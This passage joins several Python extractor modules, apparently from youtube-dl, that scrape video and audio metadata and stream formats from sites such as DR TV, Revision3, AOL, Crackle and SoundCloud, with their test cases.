        'url': 'http://trailers.apple.com/#section=exclusive',
        'info_dict': {
            'title': 'Exclusive',
            'id': 'exclusive',
        },
        'playlist_mincount': 80,
    }, {
        'url': 'http://trailers.apple.com/#section=justhd',
        'info_dict': {
            'title': 'Just HD',
            'id': 'justhd',
        },
        'playlist_mincount': 80,
    }, {
        'url': 'http://trailers.apple.com/#section=mostpopular',
        'info_dict': {
            'title': 'Most Popular',
            'id': 'mostpopular',
        },
        'playlist_mincount': 80,
    }, {
        'url': 'http://trailers.apple.com/#section=moviestudios',
        'info_dict': {
            'title': 'Movie Studios',
            'id': 'moviestudios',
        },
        'playlist_mincount': 80,
    }]

    def _real_extract(self, url):
        section = self._match_id(url)
        section_data = self._download_json(
            'http://trailers.apple.com/trailers/home/feeds/%s.json' % self._SECTIONS[section]['feed_path'],
            section)
        entries = [
            self.url_result('http://trailers.apple.com' + e['location'])
            for e in section_data]
        return self.playlist_result(entries, section, self._SECTIONS[section]['title'])






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class RestudyIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?restudy\.dk/video/play/id/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'https://www.restudy.dk/video/play/id/1637',
        'info_dict': {
            'id': '1637',
            'ext': 'flv',
            'title': 'Leiden-frosteffekt',
            'description': 'Denne video er et eksperiment med flydende kvælstof.',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        title = self._og_search_title(webpage).strip()
        description = self._og_search_description(webpage).strip()

        formats = self._extract_smil_formats(
            'https://www.restudy.dk/awsmedia/SmilDirectory/video_%s.xml' % video_id,
            video_id)
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    parse_iso8601,
)


class DRTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?dr\.dk/tv/se/(?:[^/]+/)*(?P<id>[\da-z-]+)(?:[/#?]|$)'

    _TEST = {
        'url': 'https://www.dr.dk/tv/se/boern/ultra/panisk-paske/panisk-paske-5',
        'md5': 'dc515a9ab50577fa14cc4e4b0265168f',
        'info_dict': {
            'id': 'panisk-paske-5',
            'ext': 'mp4',
            'title': 'Panisk Påske (5)',
            'description': 'md5:ca14173c5ab24cd26b0fcc074dff391c',
            'timestamp': 1426984612,
            'upload_date': '20150322',
            'duration': 1455,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        if '>Programmet er ikke længere tilgængeligt' in webpage:
            raise ExtractorError(
                'Video %s is not available' % video_id, expected=True)

        video_id = self._search_regex(
            r'data-(?:material-identifier|episode-slug)="([^"]+)"',
            webpage, 'video id')

        programcard = self._download_json(
            'http://www.dr.dk/mu/programcard/expanded/%s' % video_id,
            video_id, 'Downloading video JSON')
        data = programcard['Data'][0]

        title = data['Title']
        description = data['Description']
        timestamp = parse_iso8601(data['CreatedTime'])

        thumbnail = None
        duration = None

        restricted_to_denmark = False

        formats = []
        subtitles = {}

        for asset in data['Assets']:
            if asset['Kind'] == 'Image':
                thumbnail = asset['Uri']
            elif asset['Kind'] == 'VideoResource':
                duration = asset['DurationInMilliseconds'] / 1000.0
                restricted_to_denmark = asset['RestrictedToDenmark']
                spoken_subtitles = asset['Target'] == 'SpokenSubtitles'
                for link in asset['Links']:
                    uri = link['Uri']
                    target = link['Target']
                    format_id = target
                    preference = None
                    if spoken_subtitles:
                        preference = -1
                        format_id += '-spoken-subtitles'
                    if target == 'HDS':
                        formats.extend(self._extract_f4m_formats(
                            uri + '?hdcore=3.3.0&plugin=aasp-3.3.0.99.43',
                            video_id, preference, f4m_id=format_id))
                    elif target == 'HLS':
                        formats.extend(self._extract_m3u8_formats(
                            uri, video_id, 'mp4', preference=preference,
                            m3u8_id=format_id))
                    else:
                        bitrate = link.get('Bitrate')
                        if bitrate:
                            format_id += '-%s' % bitrate
                        formats.append({
                            'url': uri,
                            'format_id': format_id,
                            'tbr': bitrate,
                            'ext': link.get('FileFormat'),
                        })
                subtitles_list = asset.get('SubtitlesList')
                if isinstance(subtitles_list, list):
                    LANGS = {
                        'Danish': 'da',
                    }
                    for subs in subtitles_list:
                        lang = subs['Language']
                        subtitles[LANGS.get(lang, lang)] = [{'url': subs['Uri'], 'ext': 'vtt'}]

        if not formats and restricted_to_denmark:
            raise ExtractorError(
                'Unfortunately, DR is not allowed to show this program outside Denmark.', expected=True)

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'duration': duration,
            'formats': formats,
            'subtitles': subtitles,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    int_or_none,
    parse_iso8601,
    unescapeHTML,
    qualities,
)


class Revision3EmbedIE(InfoExtractor):
    IE_NAME = 'revision3:embed'
    _VALID_URL = r'(?:revision3:(?:(?P<playlist_type>[^:]+):)?|https?://(?:(?:(?:www|embed)\.)?(?:revision3|animalist)|(?:(?:api|embed)\.)?seekernetwork)\.com/player/embed\?videoId=)(?P<playlist_id>\d+)'
    _TEST = {
        'url': 'http://api.seekernetwork.com/player/embed?videoId=67558',
        'md5': '83bcd157cab89ad7318dd7b8c9cf1306',
        'info_dict': {
            'id': '67558',
            'ext': 'mp4',
            'title': 'The Pros & Cons Of Zoos',
            'description': 'Zoos are often depicted as a terrible place for animals to live, but is there any truth to this?',
            'uploader_id': 'dnews',
            'uploader': 'DNews',
        }
    }
    _API_KEY = 'ba9c741bce1b9d8e3defcc22193f3651b8867e62'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        playlist_id = mobj.group('playlist_id')
        playlist_type = mobj.group('playlist_type') or 'video_id'
        video_data = self._download_json(
            'http://revision3.com/api/getPlaylist.json', playlist_id, query={
                'api_key': self._API_KEY,
                'codecs': 'h264,vp8,theora',
                playlist_type: playlist_id,
            })['items'][0]

        formats = []
        for vcodec, media in video_data['media'].items():
            for quality_id, quality in media.items():
                if quality_id == 'hls':
                    formats.extend(self._extract_m3u8_formats(
                        quality['url'], playlist_id, 'mp4',
                        'm3u8_native', m3u8_id='hls', fatal=False))
                else:
                    formats.append({
                        'url': quality['url'],
                        'format_id': '%s-%s' % (vcodec, quality_id),
                        'tbr': int_or_none(quality.get('bitrate')),
                        'vcodec': vcodec,
                    })
        self._sort_formats(formats)

        return {
            'id': playlist_id,
            'title': unescapeHTML(video_data['title']),
            'description': unescapeHTML(video_data.get('summary')),
            'uploader': video_data.get('show', {}).get('name'),
            'uploader_id': video_data.get('show', {}).get('slug'),
            'duration': int_or_none(video_data.get('duration')),
            'formats': formats,
        }


class Revision3IE(InfoExtractor):
    IE_NAME = 'revision'
    _VALID_URL = r'https?://(?:www\.)?(?P<domain>(?:revision3|animalist)\.com)/(?P<id>[^/]+(?:/[^/?#]+)?)'
    _TESTS = [{
        'url': 'http://www.revision3.com/technobuffalo/5-google-predictions-for-2016',
        'md5': 'd94a72d85d0a829766de4deb8daaf7df',
        'info_dict': {
            'id': '71089',
            'display_id': 'technobuffalo/5-google-predictions-for-2016',
            'ext': 'webm',
            'title': '5 Google Predictions for 2016',
            'description': 'Google had a great 2015, but it\'s already time to look ahead. Here are our five predictions for 2016.',
            'upload_date': '20151228',
            'timestamp': 1451325600,
            'duration': 187,
            'uploader': 'TechnoBuffalo',
            'uploader_id': 'technobuffalo',
        }
    }, {
        # Show
        'url': 'http://revision3.com/variant',
        'only_matching': True,
    }, {
        # Tag
        'url': 'http://revision3.com/vr',
        'only_matching': True,
    }]
    _PAGE_DATA_TEMPLATE = 'http://www.%s/apiProxy/ddn/%s?domain=%s'

    def _real_extract(self, url):
        domain, display_id = re.match(self._VALID_URL, url).groups()
        site = domain.split('.')[0]
        page_info = self._download_json(
            self._PAGE_DATA_TEMPLATE % (domain, display_id, domain), display_id)

        page_data = page_info['data']
        page_type = page_data['type']
        if page_type in ('episode', 'embed'):
            show_data = page_data['show']['data']
            page_id = compat_str(page_data['id'])
            video_id = compat_str(page_data['video']['data']['id'])

            preference = qualities(['mini', 'small', 'medium', 'large'])
            thumbnails = [{
                'url': image_url,
                'id': image_id,
                'preference': preference(image_id)
            } for image_id, image_url in page_data.get('images', {}).items()]

            info = {
                'id': page_id,
                'display_id': display_id,
                'title': unescapeHTML(page_data['name']),
                'description': unescapeHTML(page_data.get('summary')),
                'timestamp': parse_iso8601(page_data.get('publishTime'), ' '),
                'author': page_data.get('author'),
                'uploader': show_data.get('name'),
                'uploader_id': show_data.get('slug'),
                'thumbnails': thumbnails,
                'extractor_key': site,
            }

            if page_type == 'embed':
                info.update({
                    '_type': 'url_transparent',
                    'url': page_data['video']['data']['embed'],
                })
                return info

            info.update({
                '_type': 'url_transparent',
                'url': 'revision3:%s' % video_id,
            })
            return info
        else:
            list_data = page_info[page_type]['data']
            episodes_data = page_info['episodes']['data']
            num_episodes = page_info['meta']['totalEpisodes']
            processed_episodes = 0
            entries = []
            page_num = 1
            while True:
                entries.extend([{
                    '_type': 'url',
                    'url': 'http://%s%s' % (domain, episode['path']),
                    'id': compat_str(episode['id']),
                    'ie_key': 'Revision3',
                    'extractor_key': site,
                } for episode in episodes_data])
                processed_episodes += len(episodes_data)
                if processed_episodes == num_episodes:
                    break
                page_num += 1
                episodes_data = self._download_json(self._PAGE_DATA_TEMPLATE % (
                    domain, display_id + '/' + compat_str(page_num), domain),
                    display_id)['episodes']['data']

            return self.playlist_result(
                entries, compat_str(list_data['id']),
                list_data.get('name'), list_data.get('summary'))






from __future__ import unicode_literals

from ..utils import str_to_int
from .keezmovies import KeezMoviesIE


class ExtremeTubeIE(KeezMoviesIE):
    _VALID_URL = r'https?://(?:www\.)?extremetube\.com/(?:[^/]+/)?video/(?P<id>[^/#?&]+)'
    _TESTS = [{
        'url': 'http://www.extremetube.com/video/music-video-14-british-euro-brit-european-cumshots-swallow-652431',
        'md5': '1fb9228f5e3332ec8c057d6ac36f33e0',
        'info_dict': {
            'id': 'music-video-14-british-euro-brit-european-cumshots-swallow-652431',
            'ext': 'mp4',
            'title': 'Music Video 14 british euro brit european cumshots swallow',
            'uploader': 'unknown',
            'view_count': int,
            'age_limit': 18,
        }
    }, {
        'url': 'http://www.extremetube.com/gay/video/abcde-1234',
        'only_matching': True,
    }, {
        'url': 'http://www.extremetube.com/video/latina-slut-fucked-by-fat-black-dick',
        'only_matching': True,
    }, {
        'url': 'http://www.extremetube.com/video/652431',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        webpage, info = self._extract_info(url)

        if not info['title']:
            info['title'] = self._search_regex(
                r'<h1[^>]+title="([^"]+)"[^>]*>', webpage, 'title')

        uploader = self._html_search_regex(
            r'Uploaded by:\s*</strong>\s*(.+?)\s*</div>',
            webpage, 'uploader', fatal=False)
        view_count = str_to_int(self._search_regex(
            r'Views:\s*</strong>\s*<span>([\d,\.]+)</span>',
            webpage, 'view count', fatal=False))

        info.update({
            'uploader': uploader,
            'view_count': view_count,
        })

        return info






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
)


class AolIE(InfoExtractor):
    IE_NAME = 'on.aol.com'
    _VALID_URL = r'(?:aol-video:|https?://on\.aol\.com/(?:[^/]+/)*(?:[^/?#&]+-)?)(?P<id>[^/?#&]+)'

    _TESTS = [{
        # video with 5min ID
        'url': 'http://on.aol.com/video/u-s--official-warns-of-largest-ever-irs-phone-scam-518167793?icid=OnHomepageC2Wide_MustSee_Img',
        'md5': '18ef68f48740e86ae94b98da815eec42',
        'info_dict': {
            'id': '518167793',
            'ext': 'mp4',
            'title': 'U.S. Official Warns Of \'Largest Ever\' IRS Phone Scam',
            'description': 'A major phone scam has cost thousands of taxpayers more than $1 million, with less than a month until income tax returns are due to the IRS.',
            'timestamp': 1395405060,
            'upload_date': '20140321',
            'uploader': 'Newsy Studio',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }, {
        # video with vidible ID
        'url': 'http://on.aol.com/video/netflix-is-raising-rates-5707d6b8e4b090497b04f706?context=PC:homepage:PL1944:1460189336183',
        'info_dict': {
            'id': '5707d6b8e4b090497b04f706',
            'ext': 'mp4',
            'title': 'Netflix is Raising Rates',
            'description': 'Netflix is rewarding millions of it’s long-standing members with an increase in cost. Veuer’s Carly Figueroa has more.',
            'upload_date': '20160408',
            'timestamp': 1460123280,
            'uploader': 'Veuer',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }, {
        'url': 'http://on.aol.com/partners/abc-551438d309eab105804dbfe8/sneak-peek-was-haley-really-framed-570eaebee4b0448640a5c944',
        'only_matching': True,
    }, {
        'url': 'http://on.aol.com/shows/park-bench-shw518173474-559a1b9be4b0c3bfad3357a7?context=SH:SHW518173474:PL4327:1460619712763',
        'only_matching': True,
    }, {
        'url': 'http://on.aol.com/video/519442220',
        'only_matching': True,
    }, {
        'url': 'aol-video:5707d6b8e4b090497b04f706',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        response = self._download_json(
            'https://feedapi.b2c.on.aol.com/v1.0/app/videos/aolon/%s/details' % video_id,
            video_id)['response']
        if response['statusText'] != 'Ok':
            raise ExtractorError('%s said: %s' % (self.IE_NAME, response['statusText']), expected=True)

        video_data = response['data']
        formats = []
        m3u8_url = video_data.get('videoMasterPlaylist')
        if m3u8_url:
            formats.extend(self._extract_m3u8_formats(
                m3u8_url, video_id, 'mp4', m3u8_id='hls', fatal=False))
        for rendition in video_data.get('renditions', []):
            video_url = rendition.get('url')
            if not video_url:
                continue
            ext = rendition.get('format')
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    video_url, video_id, 'mp4', m3u8_id='hls', fatal=False))
            else:
                f = {
                    'url': video_url,
                    'format_id': rendition.get('quality'),
                }
                mobj = re.search(r'(\d+)x(\d+)', video_url)
                if mobj:
                    f.update({
                        'width': int(mobj.group(1)),
                        'height': int(mobj.group(2)),
                    })
                formats.append(f)
        self._sort_formats(formats, ('width', 'height', 'tbr', 'format_id'))

        return {
            'id': video_id,
            'title': video_data['title'],
            'duration': int_or_none(video_data.get('duration')),
            'timestamp': int_or_none(video_data.get('publishDate')),
            'view_count': int_or_none(video_data.get('views')),
            'description': video_data.get('description'),
            'uploader': video_data.get('videoOwner'),
            'formats': formats,
        }


class AolFeaturesIE(InfoExtractor):
    IE_NAME = 'features.aol.com'
    _VALID_URL = r'https?://features\.aol\.com/video/(?P<id>[^/?#]+)'

    _TESTS = [{
        'url': 'http://features.aol.com/video/behind-secret-second-careers-late-night-talk-show-hosts',
        'md5': '7db483bb0c09c85e241f84a34238cc75',
        'info_dict': {
            'id': '519507715',
            'ext': 'mp4',
            'title': 'What To Watch - February 17, 2016',
        },
        'add_ie': ['FiveMin'],
        'params': {
            # encrypted m3u8 download
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        return self.url_result(self._search_regex(
            r'<script type="text/javascript" src="(https?://[^/]*?5min\.com/Scripts/PlayerSeed\.js[^"]+)"',
            webpage, '5min embed url'), 'FiveMin')






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import int_or_none


class CrackleIE(InfoExtractor):
    _VALID_URL = r'(?:crackle:|https?://(?:www\.)?crackle\.com/(?:playlist/\d+/|(?:[^/]+/)+))(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.crackle.com/the-art-of-more/2496419',
        'info_dict': {
            'id': '2496419',
            'ext': 'mp4',
            'title': 'Heavy Lies the Head',
            'description': 'md5:bb56aa0708fe7b9a4861535f15c3abca',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }

    # extracted from http://legacyweb-us.crackle.com/flash/QueryReferrer.ashx
    _SUBTITLE_SERVER = 'http://web-us-az.crackle.com'
    _UPLYNK_OWNER_ID = 'e8773f7770a44dbd886eee4fca16a66b'
    _THUMBNAIL_TEMPLATE = 'http://images-us-am.crackle.com/%stnl_1920x1080.jpg?ts=20140107233116?c=635333335057637614'

    # extracted from http://legacyweb-us.crackle.com/flash/ReferrerRedirect.ashx
    _MEDIA_FILE_SLOTS = {
        'c544.flv': {
            'width': 544,
            'height': 306,
        },
        '360p.mp4': {
            'width': 640,
            'height': 360,
        },
        '480p.mp4': {
            'width': 852,
            'height': 478,
        },
        '480p_1mbps.mp4': {
            'width': 852,
            'height': 478,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        item = self._download_xml(
            'http://legacyweb-us.crackle.com/app/revamp/vidwallcache.aspx?flags=-1&fm=%s' % video_id,
            video_id).find('i')
        title = item.attrib['t']

        thumbnail = None
        subtitles = {}
        formats = self._extract_m3u8_formats(
            'http://content.uplynk.com/ext/%s/%s.m3u8' % (self._UPLYNK_OWNER_ID, video_id),
            video_id, 'mp4', m3u8_id='hls', fatal=None)
        path = item.attrib.get('p')
        if path:
            thumbnail = self._THUMBNAIL_TEMPLATE % path
            http_base_url = 'http://ahttp.crackle.com/' + path
            for mfs_path, mfs_info in self._MEDIA_FILE_SLOTS.items():
                formats.append({
                    'url': http_base_url + mfs_path,
                    'format_id': 'http-' + mfs_path.split('.')[0],
                    'width': mfs_info['width'],
                    'height': mfs_info['height'],
                })
            for cc in item.findall('cc'):
                locale = cc.attrib.get('l')
                v = cc.attrib.get('v')
                if locale and v:
                    if locale not in subtitles:
                        subtitles[locale] = []
                    subtitles[locale] = [{
                        'url': '%s/%s%s_%s.xml' % (self._SUBTITLE_SERVER, path, locale, v),
                        'ext': 'ttml',
                    }]
        self._sort_formats(formats, ('width', 'height', 'tbr', 'format_id'))

        return {
            'id': video_id,
            'title': title,
            'description': item.attrib.get('d'),
            'duration': int(item.attrib.get('r'), 16) if item.attrib.get('r') else None,
            'series': item.attrib.get('sn'),
            'season_number': int_or_none(item.attrib.get('se')),
            'episode_number': int_or_none(item.attrib.get('ep')),
            'thumbnail': thumbnail,
            'subtitles': subtitles,
            'formats': formats,
        }






from __future__ import unicode_literals
import os.path

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlparse,
)
from ..utils import (
    ExtractorError,
)


class MySpassIE(InfoExtractor):
    _VALID_URL = r'https?://www\.myspass\.de/.*'
    _TEST = {
        'url': 'http://www.myspass.de/myspass/shows/tvshows/absolute-mehrheit/Absolute-Mehrheit-vom-17022013-Die-Highlights-Teil-2--/11741/',
        'md5': '0b49f4844a068f8b33f4b7c88405862b',
        'info_dict': {
            'id': '11741',
            'ext': 'mp4',
            'description': 'Wer kann in die Fu\u00dfstapfen von Wolfgang Kubicki treten und die Mehrheit der Zuschauer hinter sich versammeln? Wird vielleicht sogar die Absolute Mehrheit geknackt und der Jackpot von 200.000 Euro mit nach Hause genommen?',
            'title': 'Absolute Mehrheit vom 17.02.2013 - Die Highlights, Teil 2',
        },
    }

    def _real_extract(self, url):
        META_DATA_URL_TEMPLATE = 'http://www.myspass.de/myspass/includes/apps/video/getvideometadataxml.php?id=%s'

        # video id is the last path element of the URL
        # usually there is a trailing slash, so also try the second but last
        url_path = compat_urllib_parse_urlparse(url).path
        url_parent_path, video_id = os.path.split(url_path)
        if not video_id:
            _, video_id = os.path.split(url_parent_path)

        # get metadata
        metadata_url = META_DATA_URL_TEMPLATE % video_id
        metadata = self._download_xml(
            metadata_url, video_id, transform_source=lambda s: s.strip())

        # extract values from metadata
        url_flv_el = metadata.find('url_flv')
        if url_flv_el is None:
            raise ExtractorError('Unable to extract download url')
        video_url = url_flv_el.text
        title_el = metadata.find('title')
        if title_el is None:
            raise ExtractorError('Unable to extract title')
        title = title_el.text
        format_id_el = metadata.find('format_id')
        if format_id_el is None:
            format = 'mp4'
        else:
            format = format_id_el.text
        description_el = metadata.find('description')
        if description_el is not None:
            description = description_el.text
        else:
            description = None
        imagePreview_el = metadata.find('imagePreview')
        if imagePreview_el is not None:
            thumbnail = imagePreview_el.text
        else:
            thumbnail = None

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'format': format,
            'thumbnail': thumbnail,
            'description': description,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re
import itertools

from .common import (
    InfoExtractor,
    SearchInfoExtractor
)
from ..compat import (
    compat_str,
    compat_urlparse,
    compat_urllib_parse_urlencode,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    unified_strdate,
)


class SoundcloudIE(InfoExtractor):
    """Information extractor for soundcloud.com
       To access the media, the uid of the song and a stream token
       must be extracted from the page source and the script must make
       a request to media.soundcloud.com/crossdomain.xml. Then
       the media can be grabbed by requesting from an url composed
       of the stream token and uid
     """

    _VALID_URL = r'''(?x)^(?:https?://)?
                    (?:(?:(?:www\.|m\.)?soundcloud\.com/
                            (?P<uploader>[\w\d-]+)/
                            (?!(?:tracks|sets(?:/[^/?#]+)?|reposts|likes|spotlight)/?(?:$|[?#]))
                            (?P<title>[\w\d-]+)/?
                            (?P<token>[^?]+?)?(?:[?].*)?$)
                       |(?:api\.soundcloud\.com/tracks/(?P<track_id>\d+)
                          (?:/?\?secret_token=(?P<secret_token>[^&]+))?)
                       |(?P<player>(?:w|player|p.)\.soundcloud\.com/player/?.*?url=.*)
                    )
                    '''
    IE_NAME = 'soundcloud'
    _TESTS = [
        {
            'url': 'http://soundcloud.com/ethmusic/lostin-powers-she-so-heavy',
            'md5': 'ebef0a451b909710ed1d7787dddbf0d7',
            'info_dict': {
                'id': '62986583',
                'ext': 'mp3',
                'upload_date': '20121011',
                'description': 'No Downloads untill we record the finished version this weekend, i was too pumped n i had to post it , earl is prolly gonna b hella p.o\'d',
                'uploader': 'E.T. ExTerrestrial Music',
                'title': 'Lostin Powers - She so Heavy (SneakPreview) Adrian Ackers Blueprint 1',
                'duration': 143,
            }
        },
        # not streamable song
        {
            'url': 'https://soundcloud.com/the-concept-band/goldrushed-mastered?in=the-concept-band/sets/the-royal-concept-ep',
            'info_dict': {
                'id': '47127627',
                'ext': 'mp3',
                'title': 'Goldrushed',
                'description': 'From Stockholm Sweden\r\nPovel / Magnus / Filip / David\r\nwww.theroyalconcept.com',
                'uploader': 'The Royal Concept',
                'upload_date': '20120521',
                'duration': 227,
            },
            'params': {
                # rtmp
                'skip_download': True,
            },
        },
        # private link
        {
            'url': 'https://soundcloud.com/jaimemf/youtube-dl-test-video-a-y-baw/s-8Pjrp',
            'md5': 'aa0dd32bfea9b0c5ef4f02aacd080604',
            'info_dict': {
                'id': '123998367',
                'ext': 'mp3',
                'title': 'Youtube - Dl Test Video \'\' Ä↭',
                'uploader': 'jaimeMF',
                'description': 'test chars:  \"\'/\\ä↭',
                'upload_date': '20131209',
                'duration': 9,
            },
        },
        # private link (alt format)
        {
            'url': 'https://api.soundcloud.com/tracks/123998367?secret_token=s-8Pjrp',
            'md5': 'aa0dd32bfea9b0c5ef4f02aacd080604',
            'info_dict': {
                'id': '123998367',
                'ext': 'mp3',
                'title': 'Youtube - Dl Test Video \'\' Ä↭',
                'uploader': 'jaimeMF',
                'description': 'test chars:  \"\'/\\ä↭',
                'upload_date': '20131209',
                'duration': 9,
            },
        },
        # downloadable song
        {
            'url': 'https://soundcloud.com/oddsamples/bus-brakes',
            'md5': '7624f2351f8a3b2e7cd51522496e7631',
            'info_dict': {
                'id': '128590877',
                'ext': 'mp3',
                'title': 'Bus Brakes',
                'description': 'md5:0053ca6396e8d2fd7b7e1595ef12ab66',
                'uploader': 'oddsamples',
                'upload_date': '20140109',
                'duration': 17,
            },
        },
    ]

    _CLIENT_ID = '02gUJC0hH2ct1EGOcYXQIzRFU91c72Ea'
    _IPHONE_CLIENT_ID = '376f225bf427445fc4bfb6b99b72e0bf'

    @staticmethod
    def _extract_urls(webpage):
        return [m.group('url') for m in re.finditer(
            r'<iframe[^>]+src=(["\'])(?P<url>(?:https?://)?(?:w\.)?soundcloud\.com/player.+?)\1',
            webpage)]

    def report_resolve(self, video_id):
        """Report information extraction."""
        self.to_screen('%s: Resolving id' % video_id)

    @classmethod
    def _resolv_url(cls, url):
        return 'http://api.soundcloud.com/resolve.json?url=' + url + '&client_id=' + cls._CLIENT_ID

    def _extract_info_dict(self, info, full_title=None, quiet=False, secret_token=None):
        track_id = compat_str(info['id'])
        name = full_title or track_id
        if quiet:
            self.report_extraction(name)

        thumbnail = info['artwork_url']
        if thumbnail is not None:
            thumbnail = thumbnail.replace('-large', '-t500x500')
        ext = 'mp3'
        result = {
            'id': track_id,
            'uploader': info['user']['username'],
            'upload_date': unified_strdate(info['created_at']),
            'title': info['title'],
            'description': info['description'],
            'thumbnail': thumbnail,
            'duration': int_or_none(info.get('duration'), 1000),
            'webpage_url': info.get('permalink_url'),
        }
        formats = []
        if info.get('downloadable', False):
            # We can build a direct link to the song
            format_url = (
                'https://api.soundcloud.com/tracks/{0}/download?client_id={1}'.format(
                    track_id, self._CLIENT_ID))
            formats.append({
                'format_id': 'download',
                'ext': info.get('original_format', 'mp3'),
                'url': format_url,
                'vcodec': 'none',
                'preference': 10,
            })

        # We have to retrieve the url
        streams_url = ('http://api.soundcloud.com/i1/tracks/{0}/streams?'
                       'client_id={1}&secret_token={2}'.format(track_id, self._IPHONE_CLIENT_ID, secret_token))
        format_dict = self._download_json(
            streams_url,
            track_id, 'Downloading track url')

        for key, stream_url in format_dict.items():
            if key.startswith('http'):
                formats.append({
                    'format_id': key,
                    'ext': ext,
                    'url': stream_url,
                    'vcodec': 'none',
                })
            elif key.startswith('rtmp'):
                # The url doesn't have an rtmp app, we have to extract the playpath
                url, path = stream_url.split('mp3:', 1)
                formats.append({
                    'format_id': key,
                    'url': url,
                    'play_path': 'mp3:' + path,
                    'ext': 'flv',
                    'vcodec': 'none',
                })

            if not formats:
                # We fallback to the stream_url in the original info, this
                # cannot be always used, sometimes it can give an HTTP 404 error
                formats.append({
                    'format_id': 'fallback',
                    'url': info['stream_url'] + '?client_id=' + self._CLIENT_ID,
                    'ext': ext,
                    'vcodec': 'none',
                })

            for f in formats:
                if f['format_id'].startswith('http'):
                    f['protocol'] = 'http'
                if f['format_id'].startswith('rtmp'):
                    f['protocol'] = 'rtmp'

        self._check_formats(formats, track_id)
        self._sort_formats(formats)
        result['formats'] = formats

        return result

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url, flags=re.VERBOSE)
        if mobj is None:
            raise ExtractorError('Invalid URL: %s' % url)

        track_id = mobj.group('track_id')
        token = None
        if track_id is not None:
            info_json_url = 'http://api.soundcloud.com/tracks/' + track_id + '.json?client_id=' + self._CLIENT_ID
            full_title = track_id
            token = mobj.group('secret_token')
            if token:
                info_json_url += '&secret_token=' + token
        elif mobj.group('player'):
            query = compat_urlparse.parse_qs(compat_urlparse.urlparse(url).query)
            real_url = query['url'][0]
            # If the token is in the query of the original url we have to
            # manually add it
            if 'secret_token' in query:
                real_url += '?secret_token=' + query['secret_token'][0]
            return self.url_result(real_url)
        else:
            # extract uploader (which is in the url)
            uploader = mobj.group('uploader')
            # extract simple title (uploader + slug of song title)
            slug_title = mobj.group('title')
            token = mobj.group('token')
            full_title = resolve_title = '%s/%s' % (uploader, slug_title)
            if token:
                resolve_title += '/%s' % token

            self.report_resolve(full_title)

            url = 'http://soundcloud.com/%s' % resolve_title
            info_json_url = self._resolv_url(url)
        info = self._download_json(info_json_url, full_title, 'Downloading info JSON')

        return self._extract_info_dict(info, full_title, secret_token=token)


class SoundcloudSetIE(SoundcloudIE):
    _VALID_URL = r'https?://(?:(?:www|m)\.)?soundcloud\.com/(?P<uploader>[\w\d-]+)/sets/(?P<slug_title>[\w\d-]+)(?:/(?P<token>[^?/]+))?'
    IE_NAME = 'soundcloud:set'
    _TESTS = [{
        'url': 'https://soundcloud.com/the-concept-band/sets/the-royal-concept-ep',
        'info_dict': {
            'id': '2284613',
            'title': 'The Royal Concept EP',
        },
        'playlist_mincount': 6,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        # extract uploader (which is in the url)
        uploader = mobj.group('uploader')
        # extract simple title (uploader + slug of song title)
        slug_title = mobj.group('slug_title')
        full_title = '%s/sets/%s' % (uploader, slug_title)
        url = 'http://soundcloud.com/%s/sets/%s' % (uploader, slug_title)

        token = mobj.group('token')
        if token:
            full_title += '/' + token
            url += '/' + token

        self.report_resolve(full_title)

        resolv_url = self._resolv_url(url)
        info = self._download_json(resolv_url, full_title)

        if 'errors' in info:
            msgs = (compat_str(err['error_message']) for err in info['errors'])
            raise ExtractorError('unable to download video webpage: %s' % ','.join(msgs))

        entries = [self.url_result(track['permalink_url'], 'Soundcloud') for track in info['tracks']]

        return {
            '_type': 'playlist',
            'entries': entries,
            'id': '%s' % info['id'],
            'title': info['title'],
        }


class SoundcloudUserIE(SoundcloudIE):
    _VALID_URL = r'''(?x)
                        https?://
                            (?:(?:www|m)\.)?soundcloud\.com/
                            (?P<user>[^/]+)
                            (?:/
                                (?P<rsrc>tracks|sets|reposts|likes|spotlight)
                            )?
                            /?(?:[?#].*)?$
                    '''
    IE_NAME = 'soundcloud:user'
    _TESTS = [{
        'url': 'https://soundcloud.com/the-akashic-chronicler',
        'info_dict': {
            'id': '114582580',
            'title': 'The Akashic Chronicler (All)',
        },
        'playlist_mincount': 111,
    }, {
        'url': 'https://soundcloud.com/the-akashic-chronicler/tracks',
        'info_dict': {
            'id': '114582580',
            'title': 'The Akashic Chronicler (Tracks)',
        },
        'playlist_mincount': 50,
    }, {
        'url': 'https://soundcloud.com/the-akashic-chronicler/sets',
        'info_dict': {
            'id': '114582580',
